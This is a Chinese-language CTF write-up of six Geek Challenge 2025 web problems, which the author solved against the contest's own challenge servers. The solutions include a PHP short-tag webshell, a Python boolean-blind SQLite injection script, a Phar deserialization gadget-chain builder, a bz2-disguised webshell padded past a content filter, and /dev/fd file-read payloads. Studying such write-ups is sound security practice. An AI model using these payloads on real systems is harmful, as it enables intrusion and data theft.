声明
第一次参加极客大挑战CTF比赛,web方向总共解决了六道题目(6/20),我是菜鸟🫠
阿基里斯追乌龟
#JavaScript
题目描述:在古希腊,英雄阿基里斯和一只乌龟赛跑。阿基里斯的速度是乌龟的十倍。比赛开始时,乌龟在阿基里斯前面100米。芝诺悖论认为,当阿基里斯追到乌龟的出发点时,乌龟已经又向前爬了一段距离。当阿基里斯再追到那个位置时,乌龟又向前爬了。如此无限循环,阿基里斯似乎永远也追不上乌龟。他真的追不上吗?
大概查看网页信息,只要让阿基里斯的位置比乌龟的位置远即可得到 flag,但是根据题目的 JavaScript 代码,不可能一直点击追赶按键,其实只要用浏览器进行前端调试即可
...
const payload = {
achilles_distance: achillesPos,
tortoise_distance: tortoisePos,
};
fetch('/chase', { // 在这里打断点,在 fetch 发起请求前修改 Payload 对象
method: 'POST', // 使 achillesPos > tortoisePos
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
"data": encryptData(payload)
}),
})
...
修改后继续执行脚本即可得到 flag,对代码感兴趣的可以去详细了解一下原理,下面附上源代码
function encryptData(obj) {
const jsonString = JSON.stringify(obj);
return btoa(unescape(encodeURIComponent(jsonString)));
}
function decryptData(encodedString) {
const jsonString = decodeURIComponent(escape(atob(encodedString)));
return JSON.parse(jsonString);
}
document.addEventListener('DOMContentLoaded', () => {
const chaseBtn = document.getElementById('chase-btn');
const achillesDistanceSpan = document.getElementById('achilles-distance');
const tortoiseDistanceSpan = document.getElementById('tortoise-distance');
const resultDiv = document.getElementById('result');
let achillesPos = 0;
let tortoisePos = 10000000000; // Initial head start for the tortoise
achillesDistanceSpan.textContent = achillesPos.toFixed(2);
tortoiseDistanceSpan.textContent = tortoisePos.toFixed(2);
chaseBtn.addEventListener('click', () => {
// Achilles moves to the tortoise's current position
const achillesMoveDistance = tortoisePos - achillesPos;
achillesPos = tortoisePos;
// The tortoise moves 1/10th of the distance Achilles just covered
const tortoiseMoveDistance = achillesMoveDistance / 10;
tortoisePos += tortoiseMoveDistance;
achillesDistanceSpan.textContent = achillesPos.toFixed(2);
tortoiseDistanceSpan.textContent = tortoisePos.toFixed(2);
const payload = {
achilles_distance: achillesPos,
tortoise_distance: tortoisePos,
};
fetch('/chase', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ "data": encryptData(payload) }),
})
.then(response => response.json())
.then(encryptedResponse => {
if (encryptedResponse.data) {
const data = decryptData(encryptedResponse.data);
if (data.flag) {
// Use 'pre-wrap' to respect newlines in the fake flag message
resultDiv.style.whiteSpace = 'pre-wrap';
resultDiv.textContent = `你追上它了!\n${data.flag}`;
chaseBtn.disabled = true;
} else if (data.message) {
resultDiv.textContent = data.message;
}
} else {
console.error('Error:', encryptedResponse.error);
resultDiv.textContent = `发生错误: ${encryptedResponse.error}`;
}
})
.catch(error => {
console.error('Error:', error);
resultDiv.textContent = '发生错误。';
});
});
});
Vibe SEO
#目录扫描 #Linux
题目描述:“我让 AI 帮我做了搜索引擎优化,它好像说什么『搜索引擎喜欢结构化的站点地图』,虽然不是很懂就是了”
网站首页什么信息都没有,但是根据题目描述中的信息,SEO (Search Engine Optimization),就是搜索引擎优化,可以访问一些与之相关的文件目录,如:robots.txt,sitemap.xml 等,dirsearch 中也包含了这些常见目录,得到 /sitemap.xml
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>http://localhost/</loc>
<changefreq>weekly</changefreq>
</url>
<url>
<loc>http://localhost/aa__^^.php</loc>
<changefreq>never</changefreq>
</url>
</urlset>
- 暴露了 aa__^^.php 文件
访问 /aa__^^.php 目录,显示了一些报错
**Warning**: Undefined array key "filename" in **/var/www/html/aa__^^.php** on line **3**
**Deprecated**: strlen(): Passing null to parameter #1 ($string) of type string is deprecated in **/var/www/html/aa__^^.php** on line **3**
**Warning**: Undefined array key "filename" in **/var/www/html/aa__^^.php** on line **4**
**Deprecated**: readfile(): Passing null to parameter #1 ($filename) of type string is deprecated in **/var/www/html/aa__^^.php** on line **4**
**Fatal error**: Uncaught ValueError: Path cannot be empty in /var/www/html/aa__^^.php:4 Stack trace: #0 /var/www/html/aa__^^.php(4): readfile('') #1 {main} thrown in **/var/www/html/aa__^^.php** on line **4**
明显看出没有定义filename参数,用 GET 和 POST 方法都试一下,得到 filename 是通过 GET 传递的参数,猜测 filename 可以是本地文件名,所以用?filename=/etc/passwd测试,显示 Filename too long,那就查看 aa__^^.php 文件本身
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}
- 限制查询文件字符数量要小于 11
需要知道 Linux/Unix 操作系统中的文件描述符相关知识,这里需要用 /dev/fd 目录,这个目录包含指向当前进程已打开的文件描述符的符号链接,访问/dev/fd/n实际上就是访问当前进程中与文件描述符 n 关联的那个底层文件或流,经过测试 /dev/fd/12 是 aa__^^.php 文件,/dev/fd/13 是 my_secret.txt 文件,最终 Payload 如下
?filename=/dev/fd/13
one_last_image
#文件上传 #WAF
题目描述:第一次接受文件上传时,并没有什么特别的感觉,因为独属于我的waf,我早已部署。再见了,所有的一句话木马,Can you give me one last shell?
网站首页是一个图片渲染小工具,发送正常的图片,并用 BurpSuite 拦截发送到重放器中进行测试,观察 Response 得到
{"input_url":"uploads\/217b6235-e6d7-40bb-a4bf-0598af8c03cf.png","output_url":"outputs\/217b6235-e6d7-40bb-a4bf-0598af8c03cf.png"}
也就是说,要上传的图片会先上传到 /uploads 目录,然后经过重新渲染将新图片生成到 /outputs 目录,访问 /uploads 目录,发现是 Apache web 服务器,后续可能要利用 .htaccess 文件
经过文件内容上传测试,PHP 文件后缀没有过滤,文件内容中过滤了php字符,所以这里直接用 PHP 短标签直接绕过即可
# 上传文件内容
<? eval($_GET['cmd']); ?>
# 远程代码执行
...uploads/xxx.php?cmd=system('env | grep SYC');
...uploads/xxx.php?cmd=phpinfo();
这题 flag 藏在环境变量中不太常规
Sequal No Uta
#SQLite #SQLI #布尔盲注
题目描述:SQLite Ma U
网站首页是一个用户登录界面,根据题目描述应该是一道 SQLI 题目而且数据库管理系统为 SQLite,手工注入测试注入点得到/check.php?name=0'/**/or/**/1=1/**/--+,过滤了空格,查询成功了显示该用户存在且活跃,查询失败显示未找到用户或已停用,是一个典型的布尔盲注
因为这题用的是 SQLite 不是常规的 MySql 等,语法之间有些许差异,这里就列出一些这题要用的差别
ascii()函数用unicode()函数替代即可,语法相同- SQLite 中的的系统表为
sqlite_master类似于 MySql 中的information_schema - 查询表名用
select tbl_name from sqlite_master where type='table' - 查询表中的列信息用
select group_concat(name) from pragma_table_info('<table_name>') - limit 的用法为
limit <要返回的行数> offset <要跳过的行数> - ……
查表名语句
0' or (select unicode(substr(tbl_name,{i},1)) from sqlite_master where type='table' limit 1)={j} --+
查列名语句
0' or (select unicode(substr(group_concat(name),{i},1)) from pragma_table_info('users'))={j} --+
查 flag 语句
0' or (select unicode(substr(secret,{i},1)) from users limit 1)={j} --+
具体脚本
import requests
# 设置 url
url = 'http://xxx.geek.ctfplus.cn/check.php'
# 设置注入成功的标志
success_indicator = '该用户存在且活跃'
session = requests.session()
def bool_blind_sqli():
result = ""
print(f"开始盲注查询:")
# 设置查询最长长度
for i in range(1, 50):
found_char = False
# 设置字符的 ASCII 值范围(可打印字符)
for j in range(32, 128):
# payload = f"0'/**/or/**/(select/**/unicode(substr(tbl_name,{i},1))/**/from/**/sqlite_master/**/where/**/type='table'/**/limit/**/1)={j}/**/--+"
# payload = f"0'/**/or/**/(select/**/unicode(substr(group_concat(name),{i},1))/**/from/**/pragma_table_info('users'))={j}/**/--+"
payload = f"0'/**/or/**/(select/**/unicode(substr(secret,{i},1))/**/from/**/users/**/limit/**/1)={j}/**/--+"
# 发送 GET 请求
response = session.get(f"{url}?name={payload}")
if success_indicator in response.text:
result += chr(j)
found_char = True
print(f"找到第 {i} 个字符:{chr(j)},当前结果:{result}")
break
# 如果内层循环没有找到字符,说明字符串已结束
if not found_char:
print("盲注结束")
break
return result
str = bool_blind_sqli()
print(f"获得的结果:{str}")
ez-seralize
#代码审计 #目录扫描 #Phar
题目描述:简单的读文件?
网站首页有一个文件读取的功能,那直接读取 index.php 得到
<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;
$content = null;
$error = null;
if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}
if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
?>
- 读取文件名经过黑名单过滤,
phar://不在黑名单中 - 要 GET 方法传入
serialized参数,才可以执行关键代码 - 发现 function.php 文件
读取 function.php 文件
<?php
class A {
public $file;
public $luo;
public function __construct() {
}
public function __toString() {
$function = $this->luo;
return $function();
}
}
class B {
public $a;
public $test;
public function __construct() {
}
public function __wakeup()
{
echo($this->test);
}
public function __invoke() {
$this->a->rce_me();
}
}
class C {
public $b;
public function __construct($b = null) {
$this->b = $b;
}
public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}
?>
- 定义了三个类,熟悉的 PHP 反序列化的味道
做到这里思路已经非常清楚了,就是要执行 PHP 反序列化,要用上传的 Phar 文件解析执行反序列化,通过 dirsearch 目录扫描得到上传文件入口 uploads.php,查看 uploads.php 文件
<?php // uploads.php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];
$resultMessage = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}
$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}
$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;
file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");
$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>
- 对上传对文件进行白名单检查机制
- 文件上传路径为 uploads/
- 会对上传的文件名进行重命名,重命名信息记录在 /tmp/log.txt 文件中
构造 Phar 文件
// 构造代码
<?php
class A {
public $file;
public $luo; // 2 B
public function __construct() {
}
public function __toString() { // 2 将对象当做字符串使用时调用
$function = $this->luo;
return $function(); // 1 __invoke()触发
}
}
class B {
public $a; // 1 C
public $test; // 3 A
public function __construct() {
}
public function __wakeup() // 3 反序列化时触发
{
echo($this->test); // 2 __toString()触发
}
public function __invoke() { // 1 将对象当做函数使用时调用
$this->a->rce_me();
}
}
class C {
public $b;
public function __construct($b = null) {
$this->b = $b;
}
public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag"); // 最后目标
}
}
$a = new C();
$b = new B();
$b->a = $a;
$c = new A();
$c->luo = $b;
$d = new B();
$d->test = $c;
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($d);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
将文件后缀改为 png 上传,在查看 /tmp/log.txt 文件得到实际文件名upload file success: 1763431210_exp.png, MIME: image/png,然后最终 Payload 如下
index.php?filename=phar://uploads/1763431210_exp.png&serialized=1
eeeeezzzzzzZip
#代码审计 #目录扫描 #文件上传 #文件包含
题目描述:小杭写了一个压缩包管理平台,但是作为一个开发很不仔细,也许有什么问题在里面呢
网站首页是一个压缩包管理平台登录页面,首先尝试登录弱口令和 SQLi 均无果,用 dirsearch 目录扫描,得到 /upload.php 文件上传页面,以及 www.zip 网站源码压缩包,解压后进行源码审计
// login.php
<?php
session_start();
$err = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$u = $_POST['user'] ?? '';
$p = $_POST['pass'] ?? '';
if ($u === 'admin' && $p === 'guest123') {
$_SESSION['user'] = $u;
header("Location: index.php");
exit;
} else {
$err = '登录失败:用户名或密码错误';
}
}
?>
- 暴露了管理员用户名和密码
登录压缩包管理平台后台,发现文件上传页面也就是 /upload.php
// index.php
<?php
session_start();
error_reporting(0);
if (!isset($_SESSION['user'])) {
header("Location: login.php");
exit;
}
$salt = 'GeekChallenge_2025';
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);
$files = array_diff(scandir($SANDBOX), ['.', '..']);
$result = '';
if (isset($_GET['f'])) {
$filename = basename($_GET['f']);
$fullpath = $SANDBOX . '/' . $filename;
if (file_exists($fullpath) && preg_match('/\.(zip|bz2|gz|xz|7z)$/i', $filename)) {
ob_start();
@include($fullpath);
$result = ob_get_clean();
} else {
$result = "文件不存在或非法类型。";
}
}
?>
-
通过 GET 方法传入
f参数(上传文件名),最终执行文件包含 -
进行文件名后缀白名单匹配
// upload.php
<?php
session_start();
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];
$BLOCK_LIST = [
"__HALT_COMPILER()",
"PK",
"<?",
"<?php",
"phar://",
"php",
"?>"
];
function content_filter($tmpfile, $block_list) {
$fh = fopen($tmpfile, "rb");
if (!$fh) return true;
$head = fread($fh, 4096);
fseek($fh, -4096, SEEK_END);
$tail = fread($fh, 4096);
fclose($fh);
$sample = $head . $tail;
$lower = strtolower($sample);
foreach ($block_list as $pat) {
if (stripos($sample, $pat) !== false) {
// 为避免泄露过多信息,这里不直接 echo sample(你之前有 echo,保持注释)
return false;
}
if (stripos($lower, strtolower($pat)) !== false) {
return false;
}
}
return true;
}
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$salt = 'GeekChallenge_2025';
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_FILES['file'])) {
http_response_code(400);
die("No file.");
}
$tmp = $_FILES['file']['tmp_name'];
$orig = basename($_FILES['file']['name']);
if (!is_uploaded_file($tmp)) {
http_response_code(400);
die("Upload error.");
}
$ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
http_response_code(400);
die("Bad extension.");
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $tmp);
finfo_close($finfo);
if (!in_array($mime, $allowed_mime_types)) {
http_response_code(400);
die("Bad mime.");
}
if (!content_filter($tmp, $BLOCK_LIST)) {
http_response_code(400);
die("Content blocked.");
}
$newname = time() . "_" . preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
$dest = $SANDBOX . '/' . $newname;
if (!move_uploaded_file($tmp, $dest)) {
http_response_code(500);
die("Move failed.");
}
echo "UPLOAD_OK:" . htmlspecialchars($newname, ENT_QUOTES);
exit;
}
?>
- 对文件后缀名进行白名单检测
- 对文件内容前后首尾两端各 4096 字节内容进行黑名单检查
- 后端用
finfo_file()检测文件实际 MIME 类型进行白名单检查,防止抓包修改
只要在上传的文件头部添加一个合法的 bz2 文件头部标识(魔术字节 BZh),在内容中间进行 PHP 代码注入,最后将两端进行字节填充即可构造出攻击文件,后缀为 bz2
# 攻击文件构造代码
payload = b'<?php system($_GET["cmd"]); ?>\n'
# bz2 文件头部标识
MAGIC = b'BZh'
prepad_len = 5000 # 放在 payload 之前(>4096)
postpad_len = 5000 # 放在 payload 之后(>4096)
prepad = b'A' * prepad_len
postpad = b'B' * postpad_len
exploit = MAGIC + prepad + payload + postpad # 最总要写入的字节内容
with open('evil.bz2', 'wb') as f:
f.write(exploit)
将生成的 evil.bz2 文件在 /upload.php 中上传,在访问 /index.php 页面执行文件包含远程 rce 即可,最终 Payload 如下
index.php?f=xxx.bz2&cmd=cat /flag/flag.txt
index.php?f=xxx.bz2&cmd=env | grep SYC